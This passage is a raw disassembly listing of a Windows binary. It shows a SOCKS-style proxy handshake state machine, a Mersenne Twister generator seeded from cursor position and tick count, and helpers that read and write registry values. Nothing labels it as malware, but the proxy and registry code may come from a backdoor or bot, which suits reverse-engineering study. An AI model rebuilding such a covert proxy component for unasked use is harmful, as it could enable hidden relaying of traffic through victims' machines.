		lea	edi, [ebx+0C7Ch]
		call	sub_415008
		push	dword ptr [esi]
		mov	esi, eax
		mov	eax, edi
		call	sub_40D6E6
		cmp	dword ptr [ebp-18h], 0
		jz	loc_40CA7A
		lea	eax, [ebp-118h]
		call	sub_417057
		mov	edi, [edi]
		add	ebx, 0C80h
		push	ebx
		mov	ebx, edi
		call	sub_41707B
		lea	eax, [ebp-58h]
		push	eax
		lea	edi, [ebp-118h]
		call	sub_417107
		mov	esi, [ebp+8]
		mov	eax, [esi+10h]
		add	eax, 10h
		push	10h
		push	eax
		lea	eax, [ebp-58h]
		push	eax
		call	sub_41D290
		add	esp, 14h
		test	eax, eax
		jnz	loc_40D116
		mov	eax, [ebp-10h]
		xor	edx, edx
		inc	edx
		mov	dword ptr [esi+0B5Ch], 2
		call	sub_414FF1
		mov	ebx, esi
		mov	edi, eax

loc_40CFCA:				; CODE XREF: sub_40CA30+502j
		cmp	dword ptr [ebx+0B5Ch], 2
		jnz	short loc_40CFFF
		mov	eax, edi
		call	sub_41501F
		test	eax, eax
		jz	loc_40CA7A
		mov	eax, [edi]
		and	dword ptr [ebx+0C7Ch], 0
		mov	dword ptr [ebx+0B5Ch], 3
		movsx	edx, byte ptr [eax]
		mov	eax, edi
		call	sub_414FF1

loc_40CFFF:				; CODE XREF: sub_40CA30+5A1j
		cmp	dword ptr [ebx+0B5Ch], 3
		jnz	loc_40CA7A
		mov	esi, [ebp-10h]
		mov	eax, esi
		call	sub_41501F
		mov	ecx, esi
		mov	[ebp-18h], eax
		lea	edi, [ebx+0C7Ch]
		call	sub_415008
		push	dword ptr [esi]
		mov	esi, eax
		mov	eax, edi
		call	sub_40D6E6
		cmp	dword ptr [ebp-18h], 0
		jz	loc_40CA7A
		lea	eax, [ebp-0C0h]
		call	sub_417057
		mov	edi, [edi]
		add	ebx, 0C80h
		push	ebx
		mov	ebx, edi
		call	sub_41707B
		lea	eax, [ebp-68h]
		push	eax
		lea	edi, [ebp-0C0h]
		call	sub_417107
		mov	esi, [ebp+8]
		mov	eax, [esi+10h]
		add	eax, 20h
		push	10h
		push	eax
		lea	eax, [ebp-68h]
		push	eax
		call	sub_41D290
		add	esp, 14h
		test	eax, eax
		mov	ecx, esi
		jnz	loc_40D118
		push	eax
		call	sub_40D677
		mov	eax, [ebp-10h]
		push	5
		pop	edx
		mov	dword ptr [esi+0B58h], 0Ah
		call	sub_414FF1
		and	dword ptr [esi+0B60h], 0
		mov	ebx, esi

loc_40D0AB:				; CODE XREF: sub_40CA30+491j
		mov	eax, [ebx+0B58h]
		cmp	eax, 0Ah
		jnz	loc_40D151
		mov	esi, [ebp-10h]
		mov	eax, esi
		call	sub_41501F
		mov	ecx, esi
		mov	edi, eax
		call	sub_415008
		push	dword ptr [esi]
		lea	ecx, [ebx+0B60h]
		mov	esi, eax
		mov	eax, ecx
		call	sub_40D6E6
		test	edi, edi
		jz	loc_40CA7A
		movsx	eax, byte ptr [ebx+0B67h]
		dec	eax
		jz	short loc_40D136
		dec	eax
		dec	eax
		jz	short loc_40D12B
		dec	eax
		jnz	short loc_40D10A
		push	11h
		pop	edx
		jmp	short loc_40D13D
; ---------------------------------------------------------------------------

loc_40D0FC:				; CODE XREF: sub_40CA30+44Aj
		movsx	eax, al
		cmp	eax, 0FFh
		jnz	loc_40CA7A

loc_40D10A:				; CODE XREF: sub_40CA30+81j
					; sub_40CA30+90j ...
		mov	eax, ebx
		call	sub_40D69B
		jmp	loc_40CA7A
; ---------------------------------------------------------------------------

loc_40D116:				; CODE XREF: sub_40CA30+57Bj
		mov	ecx, esi

loc_40D118:				; CODE XREF: sub_40CA30+651j
		push	1
		call	sub_40D677
		mov	eax, esi

loc_40D121:				; CODE XREF: sub_40CA30+24Dj
					; sub_40CA30+848j
		call	sub_40D69B
		jmp	loc_40CA77
; ---------------------------------------------------------------------------

loc_40D12B:				; CODE XREF: sub_40CA30+6C2j
		movsx	edx, byte ptr [ebx+0B68h]
		inc	edx
		inc	edx
		jmp	short loc_40D139
; ---------------------------------------------------------------------------

loc_40D136:				; CODE XREF: sub_40CA30+6BEj
		push	5
		pop	edx

loc_40D139:				; CODE XREF: sub_40CA30+704j
		test	edx, edx
		jz	short loc_40D10A

loc_40D13D:				; CODE XREF: sub_40CA30+6CAj
		mov	eax, [ebp-10h]
		call	sub_414FF1
		mov	dword ptr [ebx+0B58h], 0Bh
		jmp	short loc_40D15A
; ---------------------------------------------------------------------------

loc_40D151:				; CODE XREF: sub_40CA30+684j
		cmp	eax, 0Bh
		jnz	loc_40CA7A

loc_40D15A:				; CODE XREF: sub_40CA30+71Fj
		mov	esi, [ebp-10h]
		mov	eax, esi
		call	sub_41501F
		mov	ecx, esi
		mov	edi, eax
		call	sub_415008
		push	dword ptr [esi]
		lea	ecx, [ebx+0B60h]
		mov	esi, eax
		mov	eax, ecx
		call	sub_40D6E6
		test	edi, edi
		jz	loc_40CA7A
		mov	al, [ebx+0B67h]
		cmp	al, 1
		jnz	short loc_40D1DA
		push	4
		lea	eax, [ebx+0B68h]
		push	eax
		lea	eax, [ebp-34h]
		push	eax
		call	sub_41BC60
		push	2
		lea	eax, [ebx+0B6Ch]
		push	eax
		lea	eax, [ebx+0B50h]
		push	eax
		call	sub_41BC60
		add	esp, 18h
		push	100h
		push	dword ptr [ebp-34h]
		call	ds:dword_429274	; inet_ntoa
		push	eax
		lea	eax, [ebp-218h]
		push	eax
		call	sub_41C5A0
		add	esp, 0Ch
		jmp	short loc_40D223
; ---------------------------------------------------------------------------

loc_40D1DA:				; CODE XREF: sub_40CA30+75Ej
		cmp	al, 4
		jz	short loc_40D223
		cmp	al, 3
		jnz	short loc_40D223
		lea	esi, [ebx+0B68h]
		movsx	eax, byte ptr [esi]
		push	eax
		lea	eax, [ebx+0B69h]
		push	eax
		lea	eax, [ebp-218h]
		push	eax
		call	sub_41C5A0
		movsx	eax, byte ptr [esi]
		mov	byte ptr [ebp+eax-218h], 0
		lea	eax, [eax+ebx+0B69h]
		push	2
		push	eax
		lea	eax, [ebx+0B50h]
		push	eax
		call	sub_41BC60
		add	esp, 18h

loc_40D223:				; CODE XREF: sub_40CA30+7A8j
					; sub_40CA30+7ACj ...
		xor	eax, eax
		lea	esi, [ebx+0B50h]
		mov	ax, [esi]
		push	eax
		call	ds:dword_4292E4	; htons
		mov	cl, [ebx+0B65h]
		cmp	cl, 1
		mov	[esi], ax
		jnz	short loc_40D27D
		mov	[ebx+0B4Fh], cl
		lea	ecx, [ebp-218h]
		push	ecx
		lea	ecx, [ebx+590h]
		call	sub_414A81
		cmp	eax, 0FFFFFFFFh
		jnz	loc_40D35E
		mov	eax, [ebp+8]
		push	0
		push	1
		mov	ebx, offset dword_43061C
		call	sub_40D606
		mov	eax, [ebp+8]
		jmp	loc_40D121
; ---------------------------------------------------------------------------

loc_40D27D:				; CODE XREF: sub_40CA30+811j
		cmp	cl, 2
		jnz	loc_40D324
		mov	[ebx+0B4Fh], cl
		lea	edi, [ebx+590h]
		xor	ax, ax
		mov	ecx, edi
		call	sub_414997
		lea	esi, [ebp-48h]
		call	sub_405E63
		push	offset aNull_1	; "null"
		xor	esi, esi
		push	6
		inc	esi
		push	edi
		mov	[ebp-4], esi
		call	sub_414BCD
		push	eax
		lea	eax, [ebp-48h]
		call	sub_405EF4
		push	esi
		mov	eax, edi
		call	sub_414A0C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40D2E7
		mov	eax, [ebp+8]
		push	0
		push	esi
		mov	ebx, offset dword_43061C
		call	sub_40D606
		mov	eax, [ebp+8]
		call	sub_40D69B
		jmp	short loc_40D313
; ---------------------------------------------------------------------------

loc_40D2E7:				; CODE XREF: sub_40CA30+89Bj
		push	8
		pop	ebx
		mov	esi, edi
		call	sub_414AE0
		push	edi
		call	sub_414BCD
		mov	esi, [ebp+8]
		mov	ebx, offset dword_43061C
		push	eax
		push	0
		mov	eax, esi
		call	sub_40D606
		mov	dword ptr [esi+0B58h], 0Ch

loc_40D313:				; CODE XREF: sub_40CA30+8B5j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	esi, [ebp-48h]
		call	sub_405EDB
		jmp	loc_40CA77
; ---------------------------------------------------------------------------

loc_40D324:				; CODE XREF: sub_40CA30+850j
		cmp	cl, 3
		jnz	loc_40CA7A
		mov	[ebx+0B4Fh], cl
		jmp	loc_40CA7A
; ---------------------------------------------------------------------------

loc_40D338:				; CODE XREF: sub_40CA30+2C6j
		mov	byte ptr [ebp-2Bh], 5Ah
		call	sub_414C2D
		push	21h
		lea	esi, [ebx+590h]
		pop	ebx
		call	sub_414AE0
		mov	eax, [ebp+8]
		mov	dword ptr [eax+0B58h], 0Dh
		jmp	short loc_40D39E
; ---------------------------------------------------------------------------

loc_40D35E:				; CODE XREF: sub_40CA30+82Ej
		push	dword ptr [ebp-14h]
		call	sub_414B92
		push	dword ptr [ebp-14h]
		mov	esi, eax
		call	sub_414BCD
		push	eax
		push	esi
		call	ds:dword_429274	; inet_ntoa
		mov	edi, [ebp+8]
		mov	ebx, eax
		push	0
		mov	eax, edi
		call	sub_40D606
		push	21h
		lea	esi, [edi+590h]
		pop	ebx
		call	sub_414AE0
		mov	dword ptr [edi+0B58h], 0Dh

loc_40D39E:				; CODE XREF: sub_40CA30+92Cj
		mov	eax, [ebp+8]
		cmp	dword ptr [eax+0B58h], 0Dh
		mov	ebx, eax
		jnz	loc_40CA5C

loc_40D3B0:				; CODE XREF: sub_40CA30+1Dj
		test	byte ptr [ebp+0Ch], 1
		jz	short loc_40D3F6
		push	400h
		lea	eax, [ebp-618h]
		lea	esi, [ebx+1Ch]
		push	eax
		call	sub_414D0B
		test	eax, eax
		jle	short loc_40D3F6
		lea	edi, [ebx+590h]

loc_40D3D4:				; CODE XREF: sub_40CA30+9C4j
		push	eax
		lea	eax, [ebp-618h]
		push	eax
		call	sub_414C2D
		push	400h
		lea	eax, [ebp-618h]
		push	eax
		call	sub_414D0B
		test	eax, eax
		jg	short loc_40D3D4

loc_40D3F6:				; CODE XREF: sub_40CA30+984j
					; sub_40CA30+99Cj
		test	byte ptr [ebp+0Ch], 20h
		jnz	short loc_40D40B
		lea	eax, [ebx+0B08h]
		call	sub_416B46
		test	eax, eax
		jz	short loc_40D442

loc_40D40B:				; CODE XREF: sub_40CA30+9CAj
		mov	eax, ebx
		call	sub_40D6BF
		inc	dword ptr [ebx+0D80h]
		jmp	short loc_40D442
; ---------------------------------------------------------------------------

loc_40D41A:				; CODE XREF: sub_40CA30+26Dj
		mov	eax, ecx

loc_40D41C:				; CODE XREF: sub_40CA30+204j
		call	sub_40D69B
		jmp	short loc_40D442
; ---------------------------------------------------------------------------

loc_40D423:				; CODE XREF: sub_40CA30+30j
					; sub_40CA30+57j
		test	byte ptr [ebp+0Ch], 20h
		jnz	short loc_40D438
		lea	eax, [ebx+0B08h]
		call	sub_416B46
		test	eax, eax
		jz	short loc_40D442

loc_40D438:				; CODE XREF: sub_40CA30+9F7j
		mov	dword ptr [ebx+0D80h], 2

loc_40D442:				; CODE XREF: sub_40CA30+9D9j
					; sub_40CA30+9E8j ...
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	30h
sub_40CA30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D453	proc near		; CODE XREF: sub_40C987+82p

var_57C		= byte ptr -57Ch
var_408		= byte ptr -408h
var_8		= byte ptr -8
var_7		= byte ptr -7
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 57Ch
		test	[ebp+arg_4], 8
		push	ebx
		push	esi
		push	edi
		jz	loc_40D50E
		lea	esi, [ebp+var_57C]
		call	sub_414878
		mov	ebx, [ebp+arg_0]
		lea	edi, [ebx+590h]
		push	edi
		lea	esi, [ebp+var_57C]
		mov	[ebp+var_4], edi
		call	sub_414A1F
		push	3
		mov	eax, edi
		call	sub_414D44
		mov	al, [ebx+0B4Ch]
		cmp	al, 5
		mov	ecx, 15Dh
		rep movsd
		jnz	short loc_40D4D1
		push	[ebp+var_4]
		call	sub_414B44
		push	[ebp+var_4]
		mov	esi, eax
		call	sub_414B68
		push	eax
		push	esi
		call	ds:dword_429274	; inet_ntoa
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		push	0
		call	sub_40D606
		mov	ebx, [ebp+arg_0]
		jmp	short loc_40D4EB
; ---------------------------------------------------------------------------

loc_40D4D1:				; CODE XREF: sub_40D453+51j
		cmp	al, 4
		jnz	short loc_40D4EB
		push	8
		lea	eax, [ebp+var_8]
		push	eax
		lea	edi, [ebx+1Ch]
		mov	[ebp+var_8], 0
		mov	[ebp+var_7], 5Ah
		call	sub_414C2D

loc_40D4EB:				; CODE XREF: sub_40D453+7Cj
					; sub_40D453+80j
		push	21h
		lea	esi, [ebx+1Ch]
		pop	ebx
		call	sub_414AE0
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx+488h]
		mov	[ebx+14h], eax
		mov	dword ptr [ebx+0B58h], 0Dh
		jmp	short loc_40D511
; ---------------------------------------------------------------------------

loc_40D50E:				; CODE XREF: sub_40D453+10j
		mov	ebx, [ebp+arg_0]

loc_40D511:				; CODE XREF: sub_40D453+B9j
		test	[ebp+arg_4], 1
		jz	short loc_40D557
		push	400h
		lea	eax, [ebp+var_408]
		lea	esi, [ebx+590h]
		push	eax
		call	sub_414D0B
		test	eax, eax
		jle	short loc_40D557
		lea	edi, [ebx+1Ch]

loc_40D535:				; CODE XREF: sub_40D453+102j
		push	eax
		lea	eax, [ebp+var_408]
		push	eax
		call	sub_414C2D
		push	400h
		lea	eax, [ebp+var_408]
		push	eax
		call	sub_414D0B
		test	eax, eax
		jg	short loc_40D535

loc_40D557:				; CODE XREF: sub_40D453+C2j
					; sub_40D453+DDj
		test	[ebp+arg_4], 20h
		jnz	short loc_40D56C
		lea	eax, [ebx+0B18h]
		call	sub_416B46
		test	eax, eax
		jz	short loc_40D579

loc_40D56C:				; CODE XREF: sub_40D453+108j
		mov	eax, ebx
		call	sub_40D69B
		inc	dword ptr [ebx+0D80h]

loc_40D579:				; CODE XREF: sub_40D453+117j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	30h
sub_40D453	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D580	proc near		; CODE XREF: sub_40D606+2Fp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	edi, ds:dword_429270
		push	ebx
		mov	esi, eax
		call	edi	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D59A
		mov	al, 1
		jmp	short loc_40D5AE
; ---------------------------------------------------------------------------

loc_40D59A:				; CODE XREF: sub_40D580+14j
		push	offset asc_43015C ; ":"
		push	ebx
		call	sub_41CDC0
		test	eax, eax
		pop	ecx
		setnz	al
		pop	ecx
		add	al, 3

loc_40D5AE:				; CODE XREF: sub_40D580+18j
		cmp	al, 3
		mov	[esi], al
		jnz	short loc_40D5D8
		push	ebx
		call	sub_41C350
		push	0FFh
		mov	[esi+1], al
		push	ebx
		add	esi, 2
		push	esi
		call	sub_41C5A0
		push	ebx
		call	sub_41C350
		add	esp, 14h
		inc	eax
		jmp	short loc_40D602
; ---------------------------------------------------------------------------

loc_40D5D8:				; CODE XREF: sub_40D580+32j
		cmp	al, 1
		jnz	short loc_40D5F6
		push	ebx
		call	edi	; inet_addr
		mov	[ebp+var_4], eax
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		inc	esi
		push	esi
		call	sub_41BC60
		add	esp, 0Ch
		push	4
		jmp	short loc_40D5FC
; ---------------------------------------------------------------------------

loc_40D5F6:				; CODE XREF: sub_40D580+5Aj
		cmp	al, 4
		jnz	short loc_40D5FF
		push	10h

loc_40D5FC:				; CODE XREF: sub_40D580+74j
		pop	eax
		jmp	short loc_40D602
; ---------------------------------------------------------------------------

loc_40D5FF:				; CODE XREF: sub_40D580+78j
		mov	eax, [ebp+var_4]

loc_40D602:				; CODE XREF: sub_40D580+56j
					; sub_40D580+7Dj
		pop	edi
		pop	esi
		leave
		retn
sub_40D580	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D606	proc near		; CODE XREF: sub_40CA30+840p
					; sub_40CA30+8A8p ...

var_108		= byte ptr -108h
var_107		= byte ptr -107h
var_106		= byte ptr -106h
var_105		= byte ptr -105h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	esi
		push	edi
		mov	edi, eax
		mov	al, [edi+0B4Ch]
		mov	[ebp+var_108], al
		mov	al, byte ptr [ebp+arg_0]
		mov	[ebp+var_107], al
		lea	eax, [ebp+var_105]
		mov	[ebp+var_106], 0
		call	sub_40D580
		push	[ebp+arg_4]
		mov	esi, eax
		call	ds:dword_4292E4	; htons
		push	2
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+esi+var_104]
		push	eax
		call	sub_41BC60
		add	esp, 0Ch
		add	esi, 6
		push	esi
		lea	eax, [ebp+var_108]
		push	eax
		add	edi, 1Ch
		call	sub_414C2D
		pop	edi
		pop	esi
		leave
		retn	8
sub_40D606	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D677	proc near		; CODE XREF: sub_40CA30+658p
					; sub_40CA30+6EAp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	al, [ebp+arg_0]
		push	edi
		mov	[ebp+var_3], al
		push	2
		lea	eax, [ebp+var_4]
		mov	edi, ecx
		push	eax
		add	edi, 1Ch
		mov	[ebp+var_4], 1
		call	sub_414C2D
		pop	edi
		leave
		retn	4
sub_40D677	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D69B	proc near		; CODE XREF: sub_40CA30+33Ap
					; sub_40CA30+6DCp ...
		push	esi
		mov	esi, eax
		push	2
		lea	eax, [esi+1Ch]
		call	sub_414DBA
		mov	dword ptr [esi+0B10h], 1388h
		add	esi, 0B08h
		call	sub_416B0E
		pop	esi
		retn
sub_40D69B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6BF	proc near		; CODE XREF: sub_40CA30+9DDp
		push	esi
		mov	esi, eax
		push	2
		lea	eax, [esi+590h]
		call	sub_414DBA
		mov	dword ptr [esi+0B20h], 1388h
		add	esi, 0B18h
		call	sub_416B0E
		pop	esi
		retn
sub_40D6BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6E6	proc near		; CODE XREF: sub_409BDA+190p
					; sub_409BDA+43Dp ...

arg_0		= dword	ptr  4

		mov	ecx, [eax]
		lea	edx, [ecx+esi]
		cmp	ecx, edx
		jnb	short loc_40D709
		push	edi

loc_40D6F0:				; CODE XREF: sub_40D6E6+20j
		mov	edi, [esp+4+arg_0]
		mov	edx, ecx
		sub	edx, [eax]
		inc	ecx
		mov	dl, [edx+edi]
		mov	[eax+ecx+3], dl
		mov	edx, [eax]
		add	edx, esi
		cmp	ecx, edx
		jb	short loc_40D6F0
		pop	edi

loc_40D709:				; CODE XREF: sub_40D6E6+7j
		add	[eax], esi
		retn	4
sub_40D6E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D70E	proc near		; CODE XREF: sub_40D743+38p
		xor	ecx, ecx
		mov	ds:dword_437298, eax
		inc	ecx
		mov	eax, offset dword_437298
		push	esi

loc_40D71C:				; CODE XREF: sub_40D70E+2Bj
		mov	edx, [eax]
		mov	esi, edx
		shr	esi, 1Eh
		xor	esi, edx
		imul	esi, 6C078965h
		add	esi, ecx
		mov	[eax+4], esi
		add	eax, 4
		inc	ecx
		cmp	eax, offset dword_437C54
		jl	short loc_40D71C
		mov	ds:dword_4352B0, ecx
		pop	esi
		retn
sub_40D70E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D743	proc near		; CODE XREF: sub_40D864:loc_40D894p
					; sub_40D864:loc_40D8C4p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, ds:dword_4352B0
		cmp	eax, 270h
		jl	loc_40D82F
		cmp	eax, 271h
		jnz	short loc_40D780
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:dword_429238	; GetCursorPos
		call	ds:dword_4290A8	; GetTickCount
		imul	eax, 3039h
		add	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		call	sub_40D70E

loc_40D780:				; CODE XREF: sub_40D743+1Aj
		push	esi
		push	edi
		xor	esi, esi
		mov	edx, 7FFFFFFFh

loc_40D789:				; CODE XREF: sub_40D743+80j
		mov	ecx, esi
		shl	ecx, 2
		mov	eax, ds:dword_43729C[ecx]
		xor	eax, ds:dword_437298[ecx]
		and	eax, edx
		xor	eax, ds:dword_437298[ecx]
		mov	edi, eax
		shr	eax, 1
		and	edi, 1
		xor	eax, ds:dword_435478[edi*4]
		xor	eax, ds:dword_4378CC[ecx]
		inc	esi
		cmp	esi, 0E3h
		mov	ds:dword_437298[ecx], eax
		jl	short loc_40D789
		cmp	esi, 26Fh
		jge	short loc_40D801
		lea	ecx, ds:437298h[esi*4]

loc_40D7D4:				; CODE XREF: sub_40D743+BCj
		mov	eax, [ecx]
		lea	esi, [ecx+4]
		xor	eax, [esi]
		and	eax, edx
		xor	eax, [ecx]
		mov	edi, eax
		and	edi, 1
		mov	edi, ds:dword_435478[edi*4]
		xor	edi, [esi-390h]
		shr	eax, 1
		xor	edi, eax
		mov	[ecx], edi
		mov	ecx, esi
		cmp	ecx, offset dword_437C54
		jl	short loc_40D7D4

loc_40D801:				; CODE XREF: sub_40D743+88j
		mov	ecx, ds:dword_437C54
		mov	eax, ds:dword_437298
		xor	eax, ecx
		and	eax, edx
		xor	eax, ecx
		mov	ecx, eax
		shr	eax, 1
		and	ecx, 1
		xor	eax, ds:dword_435478[ecx*4]
		pop	edi
		xor	eax, ds:dword_4378C8
		pop	esi
		mov	ds:dword_437C54, eax
		xor	eax, eax

loc_40D82F:				; CODE XREF: sub_40D743+Fj
		mov	ecx, ds:dword_437298[eax*4]
		inc	eax
		mov	ds:dword_4352B0, eax
		mov	eax, ecx
		shr	eax, 0Bh
		xor	ecx, eax
		mov	eax, ecx
		and	eax, 0FF3A58ADh
		shl	eax, 7
		xor	ecx, eax
		mov	eax, ecx
		and	eax, 0FFFFDF8Ch
		shl	eax, 0Fh
		xor	ecx, eax
		mov	eax, ecx
		shr	eax, 12h
		xor	eax, ecx
		leave
		retn
sub_40D743	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D864	proc near		; CODE XREF: sub_402AC9+53p
					; sub_402AC9+61p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		push	edi
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:dword_429238	; GetCursorPos
		mov	esi, ds:dword_4290A8
		xor	edi, edi
		call	esi	; GetTickCount
		shr	eax, 2
		imul	eax, [ebp+var_8]
		add	eax, [ebp+var_4]
		push	3
		xor	edx, edx
		pop	ecx
		div	ecx
		test	edx, edx
		jbe	short loc_40D8B1

loc_40D894:				; CODE XREF: sub_40D864+4Bj
		call	sub_40D743
		inc	edi
		call	esi	; GetTickCount
		shr	eax, 2
		imul	eax, [ebp+var_8]
		add	eax, [ebp+var_4]
		push	3
		xor	edx, edx
		pop	ecx
		div	ecx
		cmp	edi, edx
		jb	short loc_40D894

loc_40D8B1:				; CODE XREF: sub_40D864+2Ej
		cmp	[ebp+arg_4], 0FFFFFFFFh
		jb	short loc_40D8C1
		cmp	[ebp+arg_0], 0
		jnz	short loc_40D8C1
		xor	esi, esi
		jmp	short loc_40D8C4
; ---------------------------------------------------------------------------

loc_40D8C1:				; CODE XREF: sub_40D864+51j
					; sub_40D864+57j
		xor	esi, esi
		inc	esi

loc_40D8C4:				; CODE XREF: sub_40D864+5Bj
		call	sub_40D743
		sub	esi, [ebp+arg_0]
		xor	edx, edx
		add	esi, [ebp+arg_4]
		pop	edi
		div	esi
		pop	esi
		mov	eax, edx
		add	eax, [ebp+arg_0]
		leave
		retn
sub_40D864	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D8DC	proc near		; CODE XREF: sub_4047DC+15p
					; sub_4048C1+19p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		and	dword ptr [esi+4], 0
		push	[esp+4+arg_0]
		and	dword ptr [esi+8], 0
		push	esi
		call	sub_40DAB6
		mov	eax, esi
		retn	8
sub_40D8DC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D8F7	proc near		; CODE XREF: sub_4047DC+82p
					; sub_4048C1+B0p ...
		push	esi
		mov	esi, eax
		call	sub_40DB08
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D90D
		push	eax
		call	sub_41C7B8
		pop	ecx

loc_40D90D:				; CODE XREF: sub_40D8F7+Dj
		mov	esi, [esi+8]
		test	esi, esi
		jz	short loc_40D91B
		push	esi
		call	sub_41C7B8
		pop	ecx

loc_40D91B:				; CODE XREF: sub_40D8F7+1Bj
		pop	esi
		retn
sub_40D8F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D91D	proc near		; CODE XREF: sub_40DA05+8p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		lea	eax, [ebp+arg_4]
		push	eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	ds:dword_429004	; RegQueryValueExA
		mov	eax, [ebp+arg_4]
		pop	ebp
		retn	8
sub_40D91D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D93E	proc near		; CODE XREF: sub_4047DC+23p
					; sub_4048C1+27p ...

var_10C		= byte ptr -10Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	esi
		push	[ebp+arg_4]
		call	sub_41C350
		mov	esi, eax
		inc	esi
		cmp	esi, 100h
		pop	ecx
		jbe	short loc_40D960
		xor	eax, eax
		jmp	short loc_40D9B9
; ---------------------------------------------------------------------------

loc_40D960:				; CODE XREF: sub_40D93E+1Cj
		push	ebx
		xor	ebx, ebx
		push	edi
		mov	[ebp+var_4], ebx
		mov	edi, 0EAh

loc_40D96C:				; CODE XREF: sub_40D93E+70j
					; sub_40D93E+75j
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_4]
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		mov	[ebp+var_C], esi
		call	ds:dword_429018	; RegEnumValueA
		cmp	eax, edi
		mov	[ebp+var_8], eax
		jz	short loc_40D9A8
		push	[ebp+arg_4]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40D9BE

loc_40D9A8:				; CODE XREF: sub_40D93E+53j
		inc	[ebp+var_4]
		cmp	[ebp+var_8], ebx
		jz	short loc_40D96C
		cmp	[ebp+var_8], edi
		jz	short loc_40D96C
		xor	eax, eax

loc_40D9B7:				; CODE XREF: sub_40D93E+83j
		pop	edi
		pop	ebx

loc_40D9B9:				; CODE XREF: sub_40D93E+20j
		pop	esi
		leave
		retn	8
; ---------------------------------------------------------------------------

loc_40D9BE:				; CODE XREF: sub_40D93E+68j
		xor	eax, eax
		inc	eax
		jmp	short loc_40D9B7
sub_40D93E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9C3	proc near		; CODE XREF: sub_404B8D+58p
					; sub_404B8D+69p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		push	[esp+4+arg_4]
		push	3
		push	0
		push	[esp+10h+arg_0]
		push	dword ptr [eax]
		call	ds:dword_429020	; RegSetValueExA
		retn	0Ch
sub_40D9C3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9DE	proc near		; CODE XREF: sub_40FCC4+41p
					; sub_4142D6+39Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		call	sub_41C350
		pop	ecx
		inc	eax
		push	eax
		push	[esp+4+arg_8]
		mov	eax, [esp+8+arg_0]
		push	1
		push	0
		push	[esp+10h+arg_4]
		push	dword ptr [eax]
		call	ds:dword_429020	; RegSetValueExA
		retn	0Ch
sub_40D9DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DA05	proc near		; CODE XREF: sub_40FD30+3Ep
					; sub_4142D6+384p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		push	esi
		call	sub_40D91D
		mov	[ebp+var_4], eax
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40DA23
		push	eax
		call	sub_41C7B8
		pop	ecx

loc_40DA23:				; CODE XREF: sub_40DA05+15j
		push	[ebp+var_4]
		call	sub_41BA91
		pop	ecx
